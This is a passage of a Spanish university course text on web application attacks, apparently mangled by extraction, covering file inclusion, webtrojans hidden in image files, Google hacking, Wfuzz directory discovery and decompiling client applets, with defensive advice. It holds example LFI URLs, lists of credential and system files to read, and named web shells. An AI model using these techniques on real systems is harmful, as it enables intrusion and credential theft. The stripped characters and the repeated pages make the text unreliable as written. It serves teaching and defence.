        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 57: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 58: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

